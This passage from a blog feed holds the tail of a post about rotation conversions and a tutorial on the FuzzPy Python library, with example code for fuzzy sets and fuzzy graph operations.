difficult.&lt;/p&gt;
&lt;p&gt;There are a number of tantalizing clues. The first number is always 0. The second is always -5 when two of the rotations are about the same axis, -7 when they are all different and in (rotated) &lt;i&gt;xyz&lt;/i&gt; order, and 7 when they are all different and in &lt;i&gt;zyx&lt;/i&gt; order. The 1 is always positive and appears in the second pair when the first axis is &lt;i&gt;x&lt;/i&gt;, the pair when &lt;i&gt;y&lt;/i&gt;, and the fourth when &lt;i&gt;z&lt;/i&gt;. And so on.&lt;/p&gt;
&lt;p&gt;I wonder if anyone else has figured out something similar? Adolphus wants a 9-line conversion function for its birthday.&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2012-01-24T17:00:07+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Fuzzy Mathematics with FuzzPy (Part 1)</title>
		<link href="http://blog.madpython.com/2010/10/17/fuzzy-mathematics-with-fuzzpy-part-1/"/>
		<id>http://blog.madpython.com/?p=165</id>
		<updated>2010-10-17T22:43:15+00:00</updated>
		<content type="html">&lt;p&gt;&lt;a href=&quot;http://github.com/ezod/fuzzpy&quot;&gt;FuzzPy&lt;/a&gt; is a python library that exposes specialized datatypes to deal with a wide range of fuzzy number types, fuzzy sets, and fuzzy graphs. Binary operations against each type, such as set unions and intersections, can be performed using some of python&amp;#8217;s native binary operators (&lt;code&gt;|&lt;/code&gt;, &lt;code&gt;&amp;#038;&lt;/code&gt;, &lt;code&gt;==&lt;/code&gt;), or specialized methods if you wish to deviate from the default functions for these computations. &lt;/p&gt;
&lt;p&gt;FuzzPy also provides several helper methods such as kernel and neighbors isolation, alpha-cuts, cardinality testing, shortest-path computation, and minimum spanning trees. A powerful visualization framework also allows you to quickly create and save visualizations for your data.&lt;/p&gt;
&lt;p&gt;In this post, we will examine fuzzy sets and fuzzy graphs, and see how one can use FuzzPy to work with these types, providing examples for each. In the next post of this series, we will examine the different types of fuzzy numbers, generate visualizations, and explore advanced concepts such as automatic fuzzification, and importing graph data from fuzzy adjacency matrices.&lt;/p&gt;
&lt;h2&gt;Fuzzy Sets&lt;/h2&gt;
&lt;p&gt;A fuzzy set is simply a set in which each element has an associated degree of membership into the set. This membership value is called &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-value of the element. A &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-value of zero indicates that the element does not belong to the set, while any value between zero (exclusive) and one (inclusive), indicates that the element is, to a certain degree, a set member.&lt;/p&gt;
&lt;p&gt;Creating a fuzzy set with FuzzPy is just a matter of creating a new &lt;code&gt;FuzzySet&lt;/code&gt; object, then either calling the &lt;code&gt;add(FuzzyElement(value, mu))&lt;/code&gt; method for each element to import, or using the &lt;code&gt;update(elements)&lt;/code&gt; method, providing it with a list of &lt;code&gt;FuzzyElement(value, &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-value)&lt;/code&gt; tuples for bulk import.&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;from&lt;/span&gt; fuzz &lt;span&gt;import&lt;/span&gt; FuzzySet, FuzzyElement
&amp;nbsp;
&lt;span&gt;# Create two lists of FuzzyElements&lt;/span&gt;
elements_a = &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;0.3&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;, &lt;span&gt;0.5&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;0.7&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;, &lt;span&gt;0.9&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
elements_b = &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;0.8&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;, &lt;span&gt;0.6&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;0.4&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;, &lt;span&gt;0.2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
elements_a = &lt;span&gt;&amp;#91;&lt;/span&gt;FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;x&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, x&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;for&lt;/span&gt; x &lt;span&gt;in&lt;/span&gt; elements_a&lt;span&gt;&amp;#93;&lt;/span&gt;
elements_b = &lt;span&gt;&amp;#91;&lt;/span&gt;FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;x&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, x&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;for&lt;/span&gt; x &lt;span&gt;in&lt;/span&gt; elements_b&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# Create two fuzzy sets&lt;/span&gt;
set_a = FuzzySet&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
set_b = FuzzySet&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
set_a.&lt;span&gt;update&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;elements_a&lt;span&gt;&amp;#41;&lt;/span&gt;
set_b.&lt;span&gt;update&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;elements_b&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We&amp;#8217;ve just created a couple fuzzy sets with four elements each. Notice that two of the elements are common to both &lt;code&gt;set_a&lt;/code&gt; and &lt;code&gt;set_b&lt;/code&gt; (albeit with different &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-values). We can now perform several operations against these sample sets. Save the code above in a file called &lt;code&gt;example.py&lt;/code&gt; and fire up the python interpreter to test fuzzy set functionality against our sets:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;from&lt;/span&gt; example &lt;span&gt;import&lt;/span&gt; &lt;span&gt;*&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Set Difference&lt;/span&gt;
...
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; set_a - set_b
FuzzySet&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;, &lt;span&gt;0.500000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;, &lt;span&gt;0.900000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; set_b - set_a
FuzzySet&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;, &lt;span&gt;0.200000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;, &lt;span&gt;0.600000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;# Set Union&lt;/span&gt;
...
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; set_a | set_b
FuzzySet&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;0.400000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;, &lt;span&gt;0.500000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;0.800000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;, &lt;span&gt;0.900000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;, &lt;span&gt;0.600000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;, &lt;span&gt;0.200000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;# Set Intersection&lt;/span&gt;
...
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; set_a &lt;span&gt;&amp;amp;&lt;/span&gt; set_b
FuzzySet&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;0.300000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, FuzzyElement&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;0.700000&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2&gt;Fuzzy graphs&lt;/h2&gt;
&lt;p&gt;In a fuzzy graph or digraph, each vertice and each edge can be associated with a &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-value. The &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-value of a vertice indicates the vertice&amp;#8217;s degree of membership into the graph, while an edge or arc&amp;#8217;s &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;&amp;#92;mu&quot; title=&quot;&amp;#92;mu&quot; class=&quot;latex&quot; /&gt;-value indicates the degree of connectivity between the head and tail vertices. &lt;/p&gt;
&lt;p&gt;The creation of fuzzy graphs is also pretty straightforward: create a set or fuzzy set (see above), then feed that set to the fuzz.Graph constructor, along with the &lt;code&gt;directed&lt;/code&gt; boolean value to specify whether you&amp;#8217;d like to create a graph or a digraph. You can then use the &lt;code&gt;fuzz.Graph.connect(head, tail, mu)&lt;/code&gt; method to add edges to the graph:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;import&lt;/span&gt; fuzz
&amp;nbsp;
&lt;span&gt;# Create two sets of vertices&lt;/span&gt;
set_a = &lt;span&gt;set&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;, &lt;span&gt;5&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;, &lt;span&gt;8&lt;/span&gt;, &lt;span&gt;9&lt;/span&gt;, &lt;span&gt;10&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
set_b = &lt;span&gt;set&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;11&lt;/span&gt;, &lt;span&gt;12&lt;/span&gt;, &lt;span&gt;13&lt;/span&gt;, &lt;span&gt;14&lt;/span&gt;, &lt;span&gt;15&lt;/span&gt;, &lt;span&gt;16&lt;/span&gt;, &lt;span&gt;17&lt;/span&gt;, &lt;span&gt;18&lt;/span&gt;, &lt;span&gt;19&lt;/span&gt;, &lt;span&gt;20&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# Create our graph objects&lt;/span&gt;
graph_a = fuzz.&lt;span&gt;FuzzyGraph&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;viter=set_a, directed=&lt;span&gt;False&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
graph_b = fuzz.&lt;span&gt;FuzzyGraph&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;viter=set_b, directed=&lt;span&gt;True&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# Create some arcs in graph_a&lt;/span&gt;
graph_a.&lt;span&gt;connect&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;, &lt;span&gt;0.5&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
graph_a.&lt;span&gt;connect&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;, &lt;span&gt;0.06&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
graph_a.&lt;span&gt;connect&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;, &lt;span&gt;8&lt;/span&gt;, &lt;span&gt;0.2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
graph_a.&lt;span&gt;connect&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;0.9&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# And some in graph_b&lt;/span&gt;
graph_b.&lt;span&gt;connect&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;11&lt;/span&gt;, &lt;span&gt;19&lt;/span&gt;, &lt;span&gt;0.9&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
graph_b.&lt;span&gt;connect&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;14&lt;/span&gt;, &lt;span&gt;12&lt;/span&gt;, &lt;span&gt;0.3&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
graph_b.&lt;span&gt;connect&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;, &lt;span&gt;14&lt;/span&gt;, &lt;span&gt;0.5&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Save the code above in a file named &lt;code&gt;graphs.py&lt;/code&gt; and fire up your python interpreter so we can experiment with graph operations:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;from&lt;/span&gt; graphs &lt;span&gt;import&lt;/span&gt; &lt;span&gt;*&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Retrieve the mu value of the edge between 1 and 3&lt;/span&gt;
... 
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; graph_a.&lt;span&gt;mu&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;0.5&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Retrieve an alpha-cut of graph_b against mu-value of 0.5&lt;/span&gt;
... 
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; graph_b.&lt;span&gt;alpha&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.5&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
Graph&lt;span&gt;&amp;#40;&lt;/span&gt;viter = &lt;span&gt;set&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;11&lt;/span&gt;, &lt;span&gt;12&lt;/span&gt;, &lt;span&gt;13&lt;/span&gt;, &lt;span&gt;14&lt;/span&gt;, &lt;span&gt;15&lt;/span&gt;, &lt;span&gt;16&lt;/span&gt;, &lt;span&gt;17&lt;/span&gt;, &lt;span&gt;18&lt;/span&gt;, &lt;span&gt;19&lt;/span&gt;, &lt;span&gt;20&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, eiter = &lt;span&gt;set&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;, &lt;span&gt;14&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;11&lt;/span&gt;, &lt;span&gt;19&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, directed = &lt;span&gt;True&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Is graph_a a subgraph of graph_b? (no)&lt;/span&gt;
... &lt;span&gt;graph_a&lt;/span&gt;.&lt;span&gt;issubgraph&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;graph_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;False&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Detect adjacent (connected) vertices&lt;/span&gt;
...
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; graph_a.&lt;span&gt;adjacent&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;False&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; graph_a.&lt;span&gt;adjacent&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;True&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Find all the neighbours of the vertex with value 3&lt;/span&gt;
... 
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; graph_a.&lt;span&gt;neighbors&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;set&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Find the shortest path to all vertices using 6 as origin&lt;/span&gt;
... 
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; graph_a.&lt;span&gt;dijkstra&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;&amp;#123;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;: &lt;span&gt;3&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;: &lt;span&gt;None&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;: &lt;span&gt;6&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;: &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;5&lt;/span&gt;: &lt;span&gt;None&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;: &lt;span&gt;None&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;: &lt;span&gt;None&lt;/span&gt;, &lt;span&gt;8&lt;/span&gt;: &lt;span&gt;None&lt;/span&gt;, &lt;span&gt;9&lt;/span&gt;: &lt;span&gt;None&lt;/span&gt;, &lt;span&gt;10&lt;/span&gt;: &lt;span&gt;None&lt;/span&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Find the minimum spanning tree of graph_a&lt;/span&gt;
... 
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; graph_a.&lt;span&gt;minimum_spanning_tree&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
Graph&lt;span&gt;&amp;#40;&lt;/span&gt;viter = &lt;span&gt;set&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;, &lt;span&gt;5&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;, &lt;span&gt;8&lt;/span&gt;, &lt;span&gt;9&lt;/span&gt;, &lt;span&gt;10&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, eiter = &lt;span&gt;set&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;, &lt;span&gt;8&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, directed = &lt;span&gt;False&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are a few more operations available for both crisp and fuzzy graphs/digraphs. You should consult the &lt;a href=&quot;http://packages.python.org/fuzzpy/&quot;&gt;API doc&lt;/a&gt; for a comprehensive list.&lt;/p&gt;
&lt;p&gt;You should also consult the &lt;a href=&quot;http://github.com/ezod/fuzzpy/tree/master/examples/&quot;&gt;examples&lt;/a&gt; provided as part of the module on GitHub to see FuzzPy in action.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;a2a_button_reddit&quot; href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F10%2F17%2Ffuzzy-mathematics-with-fuzzpy-part-1%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%201%29&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_delicious&quot; href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F10%2F17%2Ffuzzy-mathematics-with-fuzzpy-part-1%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%201%29&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_google_bookmarks&quot; href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F10%2F17%2Ffuzzy-mathematics-with-fuzzpy-part-1%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%201%29&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; 